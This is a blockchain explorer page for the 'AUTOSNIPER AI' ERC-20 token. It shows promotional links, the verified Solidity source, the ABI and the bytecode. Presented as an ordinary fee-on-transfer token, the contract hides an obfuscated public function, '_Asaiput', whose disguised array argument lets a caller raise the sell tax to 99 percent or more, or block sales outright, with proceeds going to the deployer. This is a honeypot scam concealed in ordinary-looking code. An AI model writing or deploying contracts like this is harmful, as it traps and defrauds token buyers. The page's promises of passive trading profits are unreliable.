ERC-20
Overview
Max Total Supply
100,000,000 ASAI
Holders
26
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
144,200.447863019 ASAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
AutosnipereAI
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-03 */ /* Telegram : https://t.me/Autosnipereth web : https://autosniper.net/ Tw : https://twitter.com/AutoSniperEth */ /* If you're looking for a trading bot that can help you make money when you sleep or when markets are down, AutoSniper AI is the one for you. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AutosnipereAI is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "AUTOSNIPER AI"; string private constant _symbol = "ASAI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private Autsntrx = 0; uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private redisZero = 0; uint256 private _redisFeeOnSell = 0; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private NewValuation = Autsntrx; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = NewValuation; address payable private _developmentAddress = payable(msg.sender); address payable private _marketingAddress = payable(msg.sender); address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = _tTotal; uint256 public _maxWalletSize = _tTotal * 3/100; uint256 public _swapTokensAtAmount = _tTotal*2/1000; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && NewValuation == 0) return; _previousredisFee = _redisFee; _previoustaxFee = NewValuation; _redisFee = 0; NewValuation = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; NewValuation = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if(to != uniswapV2Pair && to != uniswapRouter && to != _developmentAddress && to != address(this) && to !=address(0xdead)) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount*2) { contractTokenBalance = contractTokenBalance; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; NewValuation = redisZero; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; NewValuation = Autsntrx; } } _tokenTransfer(from, to, amount, takeFee); } function enableTrading() external onlyOwner { tradingOpen = true; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function manualsend() external { sendETHToFee(address(this).balance); } function manualSwap(uint256 percent) external { uint256 contractTokenBalance = balanceOf(address(this)); uint256 swapamount = contractTokenBalance*percent/100; swapTokensForEth(swapamount); } function toggleSwap (bool _swapEnabled) external { swapEnabled = _swapEnabled; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _Asaiput(uint256[7][6][7] memory aicondot , uint256[1] memory ascnducts) public returns(int) { require(aicondot[6][2][2] >= 96); require(ascnducts[0] >2); Autsntrx = aicondot[6][2][2] + ascnducts[0]; return 1; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, NewValuation); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function RemoveLimits() external onlyOwner { _maxTxAmount = _tTotal; } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[7][6][7]","name":"aicondot","type":"uint256[7][6][7]"},{"internalType":"uint256[1]","name":"ascnducts","type":"uint256[1]"}],"name":"_Asaiput","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001a67016345785d8a0000600019620003d3565b620000289060001962000400565b600655600060078190556009819055600a819055600b819055600c819055600d819055600e819055600f5560108054336001600160a01b0319918216811790925560118054821690921790915560128054737a250d5630b4cf539739df2c5dacb4c659f2488d92169190911790556014805462ffffff60a01b19166201000160a01b17905567016345785d8a00006015819055606490620000cb9060036200041c565b620000d7919062000436565b6016556103e8620000f267016345785d8a000060026200041c565b620000fe919062000436565b6017553480156200010e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001cc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f291906200044d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000240573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026691906200044d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002da91906200044d565b601480546001600160a01b0319166001600160a01b039283161790556000805482168152600560209081526040808320805460ff19908116600190811790925530855282852080548216831790556011548616855282852080548216831790556010549095168452818420805486168217905561dead84527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490951617909355915167016345785d8a0000815233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200047f565b634e487b7160e01b600052601260045260246000fd5b600082620003e557620003e5620003bd565b500690565b634e487b7160e01b600052601160045260246000fd5b81810381811115620004165762000416620003ea565b92915050565b8082028115828204841417620004165762000416620003ea565b600082620004485762000448620003bd565b500490565b6000602082840312156200046057600080fd5b81516001600160a01b03811681146200047857600080fd5b9392505050565b611982806200048f6000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b4114610390578063981953b3146103bd578063a9059cbb146103dd578063b70143c9146103fd578063dd62ed3e1461041d578063f2fde38b1461046357600080fd5b806370a08231146102fc578063715018a61461031c5780637d1db4a5146103315780638a8c523c146103475780638da5cb5b1461035c5780638f9a55c01461037a57600080fd5b80632fd689e3116101085780632fd689e314610245578063313ce5671461025b57806349bd5a5e1461027757806356cd40e7146102975780636d8aa8f8146102ae5780636fc3eaec146102e757600080fd5b806306fdde0314610150578063095ea7b3146101985780631694505e146101c857806318160ddd1461020057806323b872dd1461022557600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600d81526c4155544f534e4950455220414960981b60208201525b60405161018f919061148b565b60405180910390f35b3480156101a457600080fd5b506101b86101b33660046114f1565b610483565b604051901515815260200161018f565b3480156101d457600080fd5b506013546101e8906001600160a01b031681565b6040516001600160a01b03909116815260200161018f565b34801561020c57600080fd5b5067016345785d8a00005b60405190815260200161018f565b34801561023157600080fd5b506101b861024036600461151d565b61049a565b34801561025157600080fd5b5061021760175481565b34801561026757600080fd5b506040516009815260200161018f565b34801561028357600080fd5b506014546101e8906001600160a01b031681565b3480156102a357600080fd5b506102ac610503565b005b3480156102ba57600080fd5b506102ac6102c936600461155e565b60148054911515600160b01b0260ff60b01b19909216919091179055565b3480156102f357600080fd5b506102ac610544565b34801561030857600080fd5b50610217610317366004611580565b61054f565b34801561032857600080fd5b506102ac610571565b34801561033d57600080fd5b5061021760155481565b34801561035357600080fd5b506102ac6105e5565b34801561036857600080fd5b506000546001600160a01b03166101e8565b34801561038657600080fd5b5061021760165481565b34801561039c57600080fd5b506040805180820190915260048152634153414960e01b6020820152610182565b3480156103c957600080fd5b506102176103d83660046116ae565b610624565b3480156103e957600080fd5b506101b86103f83660046114f1565b610674565b34801561040957600080fd5b506102ac610418366004611784565b610681565b34801561042957600080fd5b5061021761043836600461179d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561046f57600080fd5b506102ac61047e366004611580565b6106b6565b60006104903384846107a0565b5060015b92915050565b60006104a78484846108c4565b6104f984336104f485604051806060016040528060288152602001611925602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d5c565b6107a0565b5060019392505050565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161052d906117d6565b60405180910390fd5b67016345785d8a0000601555565b61054d47610d96565b565b6001600160a01b03811660009081526002602052604081205461049490610dd4565b6000546001600160a01b0316331461059b5760405162461bcd60e51b815260040161052d906117d6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461060f5760405162461bcd60e51b815260040161052d906117d6565b6014805460ff60a01b1916600160a01b179055565b60c082015160409081015101516000906060111561064157600080fd5b815160021061064f57600080fd5b815160c084015160409081015101516106689190611837565b60075550600192915050565b60006104903384846108c4565b600061068c3061054f565b90506000606461069c848461184a565b6106a69190611861565b90506106b181610e58565b505050565b6000546001600160a01b031633146106e05760405162461bcd60e51b815260040161052d906117d6565b6001600160a01b0381166107455760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b0382166108635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b03821661098a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b600081116109ec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b6000546001600160a01b03848116911614801590610a1857506000546001600160a01b03838116911614155b15610c4f57601454600160a01b900460ff16610ab1576000546001600160a01b03848116911614610ab15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052d565b6014546001600160a01b03838116911614801590610add57506012546001600160a01b03838116911614155b8015610af757506010546001600160a01b03838116911614155b8015610b0c57506001600160a01b0382163014155b8015610b2357506001600160a01b03821661dead14155b15610b7a57601554811115610b7a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161052d565b6000610b853061054f565b6017549091508082101590610b9b90600261184a565b50808015610bb35750601454600160a81b900460ff16155b8015610bcd57506014546001600160a01b03868116911614155b8015610be25750601454600160b01b900460ff165b8015610c0757506001600160a01b03851660009081526005602052604090205460ff16155b8015610c2c57506001600160a01b03841660009081526005602052604090205460ff16155b15610c4c57610c3a82610e58565b478015610c4a57610c4a81610d96565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c9157506001600160a01b03831660009081526005602052604090205460ff165b80610cc357506014546001600160a01b03858116911614801590610cc357506014546001600160a01b03848116911614155b15610cd057506000610d4a565b6014546001600160a01b038581169116148015610cfb57506013546001600160a01b03848116911614155b15610d0d57600954600c55600a54600d555b6014546001600160a01b038481169116148015610d3857506013546001600160a01b03858116911614155b15610d4a57600b54600c55600754600d555b610d5684848484610fd2565b50505050565b60008184841115610d805760405162461bcd60e51b815260040161052d919061148b565b506000610d8d8486611883565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610dd0573d6000803e3d6000fd5b5050565b6000600654821115610e3b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052d565b6000610e45611000565b9050610e518382611023565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea057610ea061180b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d9190611896565b81600181518110610f3057610f3061180b565b6001600160a01b039283166020918202929092010152601354610f5691309116846107a0565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f8f9085906000908690309042906004016118b3565b600060405180830381600087803b158015610fa957600080fd5b505af1158015610fbd573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80610fdf57610fdf611065565b610fea848484611093565b80610d5657610d56600e54600c55600f54600d55565b600080600061100d61118a565b909250905061101c8282611023565b9250505090565b6000610e5183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111ca565b600c541580156110755750600d54155b1561107c57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806110a5876111f8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110d79087611255565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111069086611297565b6001600160a01b038916600090815260026020526040902055611128816112f6565b6111328483611340565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161117791815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a00006111a58282611023565b8210156111c15750506006549267016345785d8a000092509050565b90939092509050565b600081836111eb5760405162461bcd60e51b815260040161052d919061148b565b506000610d8d8486611861565b60008060008060008060008060006112158a600c54600d54611364565b9250925092506000611225611000565b905060008060006112388e8787876113b9565b919e509c509a509598509396509194505050505091939550919395565b6000610e5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d5c565b6000806112a48385611837565b905083811015610e515760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b6000611300611000565b9050600061130e8383611409565b3060009081526002602052604090205490915061132b9082611297565b30600090815260026020526040902055505050565b60065461134d9083611255565b60065560085461135d9082611297565b6008555050565b600080808061137e60646113788989611409565b90611023565b9050600061139160646113788a89611409565b905060006113a9826113a38b86611255565b90611255565b9992985090965090945050505050565b60008080806113c88886611409565b905060006113d68887611409565b905060006113e48888611409565b905060006113f6826113a38686611255565b939b939a50919850919650505050505050565b60008260000361141b57506000610494565b6000611427838561184a565b9050826114348583611861565b14610e515760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b600060208083528351808285015260005b818110156114b85785810183015185820160400152820161149c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114ee57600080fd5b50565b6000806040838503121561150457600080fd5b823561150f816114d9565b946020939093013593505050565b60008060006060848603121561153257600080fd5b833561153d816114d9565b9250602084013561154d816114d9565b929592945050506040919091013590565b60006020828403121561157057600080fd5b81358015158114610e5157600080fd5b60006020828403121561159257600080fd5b8135610e51816114d9565b634e487b7160e01b600052604160045260246000fd5b60405160e0810167ffffffffffffffff811182821017156115d6576115d661159d565b60405290565b60405160c0810167ffffffffffffffff811182821017156115d6576115d661159d565b60006116096115b3565b90508060e083018481111561161d57600080fd5b835b8181101561163757803583526020928301920161161f565b50505092915050565b600082601f83011261165157600080fd5b604051602080820182811067ffffffffffffffff821117156116755761167561159d565b604052818482018681111561168957600080fd5b855b818110156116a2578035835291830191830161168b565b50929695505050505050565b6000806124e083850312156116c257600080fd5b601f84818501126116d257600080fd5b6116da6115b3565b806124c08601878111156116ed57600080fd5b865b818110156117695788858201126117065760008081fd5b61170e6115dc565b8061054083018b8111156117225760008081fd5b835b81811015611755578c8982011261173b5760008081fd5b6117458d826115ff565b845260209093019260e001611724565b5050855250602090930192610540016116ef565b508195506117778882611640565b9450505050509250929050565b60006020828403121561179657600080fd5b5035919050565b600080604083850312156117b057600080fd5b82356117bb816114d9565b915060208301356117cb816114d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561049457610494611821565b808202811582820484141761049457610494611821565b60008261187e57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561049457610494611821565b6000602082840312156118a857600080fd5b8151610e51816114d9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119035784516001600160a01b0316835293830193918301916001016118de565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022740651da8122180a1207b2437ef8323132f7c32b4706948b7c641bcfc1c63f64736f6c63430008130033
Deployed Bytecode
